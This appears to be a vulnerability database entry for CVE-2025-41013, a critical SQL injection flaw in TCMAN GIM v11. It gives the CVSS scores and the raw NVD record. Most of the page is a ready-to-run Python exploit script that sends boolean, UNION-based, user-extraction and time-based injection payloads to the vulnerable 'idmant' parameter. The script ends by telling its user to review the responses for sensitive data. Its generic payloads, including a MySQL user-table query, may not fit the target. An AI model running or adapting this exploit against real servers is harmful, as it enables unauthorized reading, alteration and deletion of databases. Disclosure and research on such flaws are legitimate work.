Security Vulnerability Report
中文
CVE-2025-41013 CVSS 9.8 CRITICAL

CVE-2025-41013

Published: 2025-12-02 14:16:24
Last Modified: 2025-12-03 19:54:41

Description

SQL injection vulnerability in TCMAN GIM v11 in version 20250304. This vulnerability allows an attacker to retrieve, create, update, and delete databases by sending a GET request using the 'idmant' parameter in '/PC/frmEPIS.aspx'.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tcman:gim:*:*:*:*:*:*:*:* - VULNERABLE
TCMAN GIM v11 < 版本20250304
TCMAN GIM v11 20250304(确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-41013 SQL Injection PoC for TCMAN GIM v11 # Target: /PC/frmEPIS.aspx endpoint with 'idmant' parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection in TCMAN GIM v11 Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ params = { 'idmant': payload } try: # Send GET request with malicious payload response = requests.get( f"{target_url}/PC/frmEPIS.aspx", params=params, timeout=30, verify=False ) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_sqli(target_url): """ Test basic SQL injection to confirm vulnerability """ # Basic error-based SQL injection test payload = "1' OR 1=1 --" print(f"[*] Testing basic SQL injection with payload: {payload}") response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print("[+] Basic injection test completed") return response def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database version extraction payload payload = "1' UNION SELECT @@version,NULL,NULL --" print(f"[*] Extracting database version...") response = exploit_sqli(target_url, payload) if response: print(f"[+] Response length: {len(response.text)} bytes") return response def extract_users(target_url): """ Extract database users using UNION-based injection """ # Database user extraction payload payload = "1' UNION SELECT user,NULL,NULL FROM mysql.user --" print(f"[*] Extracting database users...") response = exploit_sqli(target_url, payload) return response def blind_boolean_test(target_url): """ Perform blind boolean-based SQL injection test """ # True condition true_payload = "1' AND 1=1 --" # False condition false_payload = "1' AND 1=2 --" print("[*] Performing blind boolean-based SQL injection test...") true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response and false_response: if len(true_response.text) != len(false_response.text): print("[+] Blind injection confirmed - responses differ") return true_response, false_response def time_based_blind_sqli(target_url): """ Perform time-based blind SQL injection """ # Time-based payload (adjust sleep time based on database type) payload = "1'; SELECT SLEEP(5) --" print(f"[*] Performing time-based blind SQL injection...") response = exploit_sqli(target_url, payload) if response: print("[+] Time-based injection test completed") return response def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-41013.py <target_url>") print("Example: python cve-2025-41013.py http://vulnerable-server.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-41013 TCMAN GIM v11 SQL Injection Exploit") print("=" * 60) # Step 1: Test basic SQL injection print("\n[Step 1] Testing basic SQL injection...") test_basic_sqli(target_url) # Step 2: Extract database information print("\n[Step 2] Extracting database information...") extract_database_info(target_url) # Step 3: Extract database users print("\n[Step 3] Extracting database users...") extract_users(target_url) # Step 4: Blind boolean-based testing print("\n[Step 4] Performing blind boolean-based testing...") blind_boolean_test(target_url) # Step 5: Time-based blind SQL injection print("\n[Step 5] Performing time-based blind SQL injection...") time_based_blind_sqli(target_url) print("\n[*] Exploitation completed. Review responses for sensitive data.") print("[!] Note: This PoC is for authorized security testing only.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41013", "sourceIdentifier": "[email protected]", "published": "2025-12-02T14:16:24.437", "lastModified": "2025-12-03T19:54:41.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in TCMAN GIM v11 in version 20250304. This vulnerability allows an attacker to retrieve, create, update, and delete databases by sending a GET request using the 'idmant' parameter in '/PC/frmEPIS.aspx'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tcman:gim:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-04-01", "matchCriteriaId": "60C91556-380B-401D-BC94-40FA46DF23F2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim-2", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}